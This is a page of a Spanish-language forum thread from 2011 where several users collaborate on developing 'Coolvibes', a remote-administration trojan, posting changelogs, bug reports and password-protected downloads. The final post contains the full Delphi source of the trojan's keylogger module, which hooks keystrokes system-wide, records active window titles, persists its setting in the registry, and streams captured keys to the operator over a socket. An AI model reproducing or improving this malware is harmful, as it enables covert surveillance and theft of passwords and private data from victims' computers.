Página 2 de 11

Re: Coolvibes 1.x desarrollo

Publicado: 23 Abr 2011, 13:47
por probando
Dejo unas imágenes del siguiente update:

Imagen


Imagen


Quizás para esta versión estaría bien cambiar el icono de Coolvibes por uno con fondo transparente

Saludos

Re: Coolvibes 1.x desarrollo

Publicado: 23 Abr 2011, 21:46
por DSR!
me ganaste de mano, tambien estaba viendo de agregar las banderas JAJAAJAJA! usas el pais que tiene seteado la maquina? pense en hacerlo asi yo.
tambien habria que agregar cambiar el idioma desde el menu de opciones.

Re: Coolvibes 1.x desarrollo

Publicado: 25 Abr 2011, 01:36
por tk68
DSR! escribió:me ganaste de mano, tambien estaba viendo de agregar las banderas JAJAAJAJA! usas el pais que tiene seteado la maquina? pense en hacerlo asi yo.
tambien habria que agregar cambiar el idioma desde el menu de opciones.
Ya somos dos jajajaja... estaba haciendo uso de GetLocaleInfo y una lista de imágenes con banderitas para que fuese rápido, ya (por GeoIP.dat lo veía lento aunque más preciso) y ya lo había codeado probando, hay que pedir número...

De estar parado el proyecto y ahora...

Bueno, en mis ratos libres estoy mejorando el código de la captura de pantalla, puede ser más rápida y eficaz haciendo uso del ratón y teclado...


Re: Coolvibes 1.x desarrollo

Publicado: 25 Abr 2011, 09:46
por DSR!
GeoIP.dat hay que actualizarlo frecuentemente, sino pierde precision.
vos decis que en auto la captura solo refresque si hay actividad?

BUGS
1) el portapapeles no muestra los saltos de linea
2) en mi vm con win 7 sp1 no andan los servicios y se reconoce el so como Vista sp1
3) en la susodicha vm al revisar las unidades el server comienza a reiniciar la coneccion
4) el administrador de ficheros cuando se intenta acceder directamente a un path y si el mismo es incorrecto se queda deshabilitado el control (deberia reactivarse al recibir el mensaje de error del server)

sigo revisandolo

Re: Coolvibes 1.x desarrollo

Publicado: 25 Abr 2011, 12:30
por tk68
DSR! escribió:GeoIP.dat hay que actualizarlo frecuentemente, sino pierde precision.
vos decis que en auto la captura solo refresque si hay actividad?
[...]
Exacto, aunque la velocidad de captura es de lo mejorcito me gustaria mejorarla aun
más. Tengo que revisar mis fuentes, en VB tengo ejemplos de como hacerlo, pero
esto es Delphi y tendría que buscar otros ejemplos

Además hay que mejorar el uso del ratón, en este apartado (no responde muy bien)

Un administrador de dispositivos, de puertos activos y de aplicaciones instaladas, así como la
captura de audio son las pocas cosas que quedan por implementar, luego solo hay que ir
mejorándolas, no creo que necesitemos más funciones importantes

Voy analizar el código en busca de fugas así como eliminar código muerto y conflictos para
hacer más estable y rápido tanto el Cliente como el Servidor (fuera warnings) primero lo
haré manualmente mejorando las rutinas más lentas hasta donde pueda llega con mis
conocimientos sobre Delphi (soy más de C y VB) y luego con herramientas externas como
Pascal Analyzer etc (Bifrost es un ejemplo de estabilidad y puede igualarse)


Re: Coolvibes 1.x desarrollo

Publicado: 25 Abr 2011, 13:03
por probando
Nuevo update! 1.2

Imagen


Imagen


Imagen


Imagen

@DSR muy elegante el banner, si le puedes cambiar el icono al coolvibes ya quedaría de lujo

El Changelog:

Código: Seleccionar todo

Fecha 25/04/2011
Versión: 1 Update 2
Modificación de: Anonimo
[-] Eliminado el columnas manager
[+] Agregado popupcolumnas con la misma función que el antigüo columnasmanager
[+] Agregadas banderas y una nueva columna a listviewconexiones "idiomas"
[+] Agregado multiselect a el listviewconexiones
[+] Agregada la posibilidad de escuchar en varios puertos y la columna "puerto en el listviewconexiones"
[*] Arreglados algunos problemas de traducción
[+] Agregadas opciones de cerrar, actualizar y desinstalar servidor al Popup menu de listviewconexiones, Recordad que desinstalar no funciona todavia :p
[+] Se vuelve a incluir la broma "Abrir/Cerrar cd"
[+] Añadida captura de audio
[*] Reducido el límite de tamaño de FormMain, además ahora se oculta el logo si el tamaño es menor a 500px
[+] Añadida FormEstadisticasConexiones que muestra las conexiones que se han abierto
[*] Corregidos algunos pequeños bugs
PASS: indetectables.net
Coolvibes v1.2.zip

Re: Coolvibes 1.x desarrollo

Publicado: 25 Abr 2011, 23:52
por DSR!
@probando si, tenia pensarlo en agregarle tambien un icono. tambien estaba mirando el keylogger, a mi realmente no me funciono en ninguna prueba, pero eso si, el codigo esta muy bueno. habria que ver donde falla. igual por lo que vi hacer andar un keylogger bien en w7 es un parto.

Re: Coolvibes 1.x desarrollo

Publicado: 26 Abr 2011, 08:44
por tk68
Excelente update!!

Estoy muy liado con el curro, a ver si tengo algo de tiempo y le meto mano

Larga vida a Coolvibes


Re: Coolvibes 1.x desarrollo

Publicado: 26 Abr 2011, 13:17
por probando
Lo del keylogger la verdad que parece que sólo me funciona a mi xD

Re: Coolvibes 1.x desarrollo

Publicado: 26 Abr 2011, 19:13
por 0k3n
Estreno mi nueva cuenta con un pequeño update:

changelog:

Código: Seleccionar todo

Fecha 26/04/2011
Versión: 1 Update 3
Modificación de: Anonimo
[*] Arreglado pequeño bug que hacia que el cliente se cerrara al pulsar en "Ir al proceso..."
[*] Arreglados bugs en la busqueda de archivos, ahora permite buscar hasta 50.000 archivos :D
[*] Por el lado del servidor las acciones relacionadas con "servicios" se ejecuta en un thread independiente para dar estabilidad
[+] Pequeños cambios en diseño
[+] Agregado nuevo botón "Para de listar" para parar el listado, muy util con directorios grandes como system32

pass: indetectables.net

Re: Coolvibes 1.x desarrollo

Publicado: 26 Abr 2011, 20:38
por tk68
0k3n escribió:Estreno mi nueva cuenta con un pequeño update:
[...]
Anda, ya tienes nombre !!! jajajaja... tendremos que cambiar Anonimo por 0k3n

Estás mejorando Coolvibes con mucho conocimiento, todas las updates son necesarias y muy útiles,
nada de funciones de relleno Y lo más importante, depurando los errores

Cuando terminemos de meter todas las funcionalidades que nos faltan tocará el turno a optimizar
el código al máximo, hace tiempo que tengo abandonado mi Pascal Analyzer, es algo tedioso pero
necesario si queremos alcanzar el nivel de estabilidad del Bifrost, de paso se organiza algo más
el código, Coolvibes puede ser el nuevo referente, no será el que más opciones tenga, pero será
el más eficaz y esto último es lo realmente importa.

Larga vida a Coolvibes


Re: Coolvibes 1.x desarrollo

Publicado: 27 Abr 2011, 03:37
por DSR!
si queres te cambio el nombre de usuario de probando a 0k3n, total el dueño de la cuenta no la va a extrañar... xD
tendriamos que ponerle diferentes niveles de debug con los if del tipo
{$IFDEF DEBUG}
...codigo...
{$ENDIF}
para que sea mas comodo

Re: Coolvibes 1.x desarrollo

Publicado: 28 Abr 2011, 22:48
por 0k3n
No hace falta ;)

Re: Coolvibes 1.x desarrollo

Publicado: 29 Abr 2011, 03:14
por DSR!
el tipo de hook del keylogger no corre en vista ni 7, hay que cambiarlo. (lo hice andar en una dll aparte para puebas y fui probando en las vm como andaba)

Re: Coolvibes 1.x desarrollo

Publicado: 29 Abr 2011, 10:39
por 0k3n
yo también estuve haciendo pruebas en una virtual y no me iba ni en windows xp

Esto de los keyloggers nunca me ha gustado, es bastante dificil conseguir uno estable en todos los windows

Saludos

EDITO:

Le he hecho unos arreglos a ver si ahora os funciona en vista y 7, en mi maquina virtual con xp ha funcionado.

simplemente sustituir el código de unitkeylogger:

Código: Seleccionar todo

{Unit perteneciente al troyano Coolvibes que contiene el modulo keylogger, la base a sido extraida
de http://www.opensc.ws/snippets/204-keylogger.html by stm}

unit UnitKeylogger;

interface

uses
  Windows,
  Messages,
  UnitWindows,
  SocketUnit,
  UnitVariables,
  minireg,
  Sysutils;
  
  procedure OnServerInitKeylogger();//Al iniciar el servidor...
  procedure EmpezarKeylogger(ArchivoLog:string); //Empezar a "loggear" teclas
  procedure SetOnlineKeylogger(status:boolean;client:TclientSocket);   //activar o desactivar online keylogger
  procedure PararKeylogger();                    //Parar de "loggear" teclas
  function ObtenerEstadoKeylogger():boolean;     //Para saber si está activado o desactivado
  function ObtenerLog():string;                  //devuelve el log 
  function GetOnlineKeyloggerKeys():string;  //Las nuevas letras pulsadas
  procedure EliminarLog();                       //Eliminar el log del keylogger
  procedure KlogThread();                        //thread principal del keylogger
  function JHProc(nCode: integer; wParam: Longint; var EventStrut: TEVENTMSG): Longint;stdcall; //HOOK que añade las teclas pulsadas a CapturarTecla
  procedure KeyHook();                           //Crea el HOOK
  function GetKeyloggerPath():string;

  
implementation
var
  KeyloggerActivado    : boolean;
  KeyloggerPath        : string;
  AccediendoKeylogger  : boolean; //saber si se intenta acceder al archivo
  TeclasPulsadas       : string;  //teclas pulsadas, se eliminan al guardar el log
  lasttickcount        : integer; //última vez guardado
  lasttickcountv       : integer; //última vez guardado
  ThreadStarted        : boolean;
  id1                  : longword;
  id2                  : longword;
  Evento               : string;
  CapturarTecla        : string;
  HookHandle           : HHook;
  JHHandle             : HHook;
  lpMsg                : TMsg;
  letraanterior        : integer;
  OKeyloggerActivado   : Boolean;  //Estado del online keylogger
  OnlineKeyloggerKeys  : string;
  lasttickcounton      : integer; //Ultima vez mandadas teclas del online keylogger
  Cliente              : TClientSocket;


procedure OnServerInitKeylogger();//Al iniciar el servidor...
var
tmp : string;
begin
  RegGetString(HKEY_CURRENT_USER, 'Software\'+Configuracion.sID+'\'+Configuracion.sID, tmp);
  if(tmp <> '') then
    empezarkeylogger(tmp); //Empezamos
end;


procedure EmpezarKeylogger(ArchivoLog:string);
begin
  KeyloggerPath := ExtractFilePath(Paramstr(0))+ArchivoLog;
  RegSetString(HKEY_CURRENT_USER,'Software\'+Configuracion.sID+'\'+Configuracion.sID, extractfilename(KeyloggerPath));

  if not ThreadStarted then
  begin
    messagebox(0,'Empezando threads','Empezando threads',0);
    ThreadStarted  := true;
    BeginThread(nil,0,Addr(KlogThread),nil,0,id1);
    BeginThread(nil,0,Addr(KeyHook),nil,0,id2);
  end;
  KeyloggerActivado := true;
end;

procedure SetOnlineKeylogger(status:boolean;client:TclientSocket);  //activar o desactivar online keylogger
begin
  OKeyloggerActivado := status;
  if(status = false) then OnlineKeyloggerKeys := '' else Cliente := client;
end;

function GetOnlineKeyloggerKeys():string;  //Las nuevas letras pulsadas
begin
  Result := OnlineKeyloggerKeys;
  OnlineKeyloggerKeys := '';
end;

procedure PararKeylogger();
begin
  KeyloggerActivado := false;
  KeyloggerPath := '';
  UnhookWindowsHookEx(HookHandle);
  HookHandle := 0;
  RegSetString(HKEY_CURRENT_USER,'Software\'+Configuracion.sID+'\'+Configuracion.sID, '');
end;

function ObtenerEstadoKeylogger():boolean;
begin
  Result := KeyloggerActivado;
end;

function GetKeyloggerPath():string;
begin
  Result := KeyloggerPath;
end;

function ObtenerLog():string;
var
  KlogFile : file;
  Tamano   : integer;
begin

  while(AccediendoKeylogger) do sleep(1);
  AccediendoKeylogger := true;
  if(fileexists(KeyloggerPath)) then
  begin
    FileMode := 0;  //fmopenread
    AssignFile(KlogFile, KeyloggerPath);
    Reset(KlogFile, 1);
    tamano := FileSize(KlogFile);
    SetLength(Result, tamano);
    BlockRead(KlogFile, Result[1], tamano);
    CloseFile(KlogFile);
  end;


  AccediendoKeylogger := false;

  Result := Result + TeclasPulsadas;

  if(Result = '') then Result := 'Vacio';
end;

procedure EliminarLog();
begin
  while AccediendoKeylogger do sleep(1);
  if(fileexists(KeyLoggerPath)) then
    DeleteFile(KeyloggerPath);
end;


function CifradoLog(input:string):string;
begin
//chr(ord(TmpServDLL[i]) xor strtoint(Copy(Recibido, 1, Pos('|', Recibido) - 1)));
  Result := input;
end;



procedure GuardarLog();
var
  KlogFile : textfile;
  tamano   : integer;
begin                                                                 {cada 30 segundos}
  if((Length(TeclasPulsadas) = 0) or ((GetTickCount()-lasttickcount) < 30000)) then exit;  //Nos vamos :p
  lasttickcount := GetTickCount();
  while(AccediendoKeylogger) do sleep(1);    //Esperamso a que acabe
  AccediendoKeylogger := true;


  AssignFile(KlogFile, KeyloggerPath);
  if fileexists(KeyloggerPath) then
  begin
    Append(KlogFile); //vamos al final...
  end
  else
    Rewrite(KlogFile);
  Write(KlogFile, TeclasPulsadas);
  CloseFile(KlogFile);

  TeclasPulsadas := '';//Las borramos
  AccediendoKeylogger := false;
end;

procedure KlogThread();
var
  Tecla : String;
  TituloVentana : string;
  TempTituloVentana    : string;
begin
  messagebox(0,'Saludos desde klog thread','Saludos desde klog thread',0);
  Evento := 'Keylogger Iniciado';
  while true do
  begin
    if(KeyloggerActivado) then
    begin

      if((gettickcount-lasttickcountv) > 100) then
      begin
          lasttickcountv := GetTickCount();
          TempTituloVentana := GetActiveWindowCaption;
      end;
      Tecla := '';
      Tecla := CapturarTecla;
      CapturarTecla := '';

      if ((Tecla <> '') and (TempTituloVentana <> TituloVentana) and (TemptituloVentana <> '')) then  //Si se pulsa tecla y cambia de ventana
      begin
        TeclasPulsadas := TeclasPulsadas +#13#10#13#10+'-{'+TempTituloVentana+'}-'+DateTimeToStr(now)+#13#10+Tecla;
        TituloVentana := TempTituloVentana;
        if(OKeyloggerActivado) then
          OnlineKeyloggerKeys := OnlineKeyloggerKeys+#13#10#13#10+'-{'+TempTituloVentana+'}-'+DateTimeToStr(now)+#13#10+Tecla;
      end
      else
      if(Tecla <> '') then
      begin
        TeclasPulsadas := TeclasPulsadas + Tecla;
        if(OKeyloggerActivado) then
          OnlineKeyloggerKeys := OnlineKeyloggerKeys + Tecla;
      end;
      
        if(Evento <> '') then
        begin
          TeclasPulsadas := TeclasPulsadas +#13#10#13#10+'-['+Evento+']- '+DateTimeToStr(now)+#13#10;
          Evento := '';
        end;
        
      sleep(80);

       if(OKeyloggerActivado and ((GetTickCount()-lasttickcounton) > 1000)) then  //Enviamos la teclas nuevas maximo cada 1000 ms para no saturar la conexión
       begin
        lasttickcounton := GetTickCount();
          if(OnlineKeyloggerKeys <> '') then //Teclas nuevas del online keylogger :D
          begin
            OnlineKeyloggerKeys:= StringReplace(OnlineKeyloggerKeys,#10, '|salto|', [rfReplaceAll]);   //Para que lo envie todo de una vez
            OnlineKeyloggerKeys := StringReplace(OnlineKeyloggerKeys,#13, '|salto2|', [rfReplaceAll]);
            OnlineKeyloggerKeys := StringReplace(OnlineKeyloggerKeys,' ', '|espacio|', [rfReplaceAll]); //Para evitar el trim( final
            if(Cliente.Connected) then
              Cliente.SendString('NEWKEYLOGKEYS|'+OnlineKeyloggerKeys+ #10)
            else
              OKeyloggerActivado := false;
            OnlineKeyloggerKeys := '';
          end;
       end;
      GuardarLog();//Guardamos el log
    end
    else
    sleep(100); //Esperamos un poco...
  end;
end;


procedure KeyHook();
begin
  //HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, HInstance, 0);
    messagebox(0,'Saludos desde keyhook thread','Saludos desde keyhook thread',0);
  while true  do
  begin
    lpMsg.message := WM_CANCELJOURNAL;
    if(KeyloggerActivado) then
    begin
      if((lpMsg.message = WM_CANCELJOURNAL)) then
      begin
        messagebox(0,'Nuevo hook','Nuevo hook',0);
        HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @JHProc, GetModuleHandle(nil), 0);
      end;
      WaitMessage;
      GetMessage(lpMsg, 0, 0, 0);
      end
    else
      sleep(100);
  end;
end;


function JHProc(nCode: integer; wParam: Longint; var EventStrut: TEVENTMSG): Longint;stdcall;
var
  szletta: string;
  Charry: array[0..1] of Char;
  VirtKey, ScanCode: Cardinal;
  KeyState: TKeyBoardState;
  nametext: array[0..32] of Char;
begin
  if (nCode = HC_ACTION) and (EventStrut.message = WM_KEYDOWN) then
  begin
    VirtKey := LOBYTE(EventStrut.paramL);
    ScanCode := HIBYTE(EventStrut.paramL);
    ScanCode := ScanCode shl 16;
    GetKeyNameText(ScanCode, nametext, sizeof(nametext));
    szletta := #0;
    FillChar(Charry,2,#0);
    if VirtKey = VK_CAPITAL then szletta := #0
    else if VirtKey = VK_SHIFT then szletta := '[Shift]'
    else if VirtKey = VK_SPACE then szletta := ' '
    else if lstrlen(nametext) > 1 then szletta := '[' + nametext+']'
    else
    begin
      GetKeyboardState(KeyState);
      if((letraanterior = VkKeyScan('´')) OR        //Para evitar la doble tilde :D
         (letraanterior = VkKeyScan('`')) OR
         (letraanterior = VkKeyScan('¨')) OR
         (letraanterior = VkKeyScan('^')) OR
         (letraanterior = VkKeyScan('~'))) then

      begin
        szletta := chr((VirtKey)); //letra
         if(szletta = 'A') then   //habría que mirar si es ´ ¨ ~... las que estan pulsadas pero bueno no creo que sea muy relevante para nuestro idioma :p
          szletta :='á'
         else
         if(szletta = 'E') then
          szletta :='é'
         else
         if(szletta = 'I') then
          szletta :='í'
         else
         if(szletta = 'O') then
          szletta :='ó'
         else
         if(szletta = 'U') then
          szletta :='ú';
      end
      else
      begin
        ToAscii(VirtKey, ScanCode, KeyState, Charry, 0);
        szletta := Charry;
      end;
    end;
    if szletta <> '' then
      CapturarTecla := CapturarTecla+szletta;
    letraanterior := VirtKey;
  end;

  CallNextHookEx(Hookhandle, nCode, wParam, Integer(@EventStrut));
  Result := 0;
end;

end.
si funciona posteo la siguiente update que también he arreglado unos cuantos bugs por parte del cliente.

PD: En los mensajes pulsar primero el Saludos desde klog thread


EDITO2: Probado en win 7 y funciona
Saludos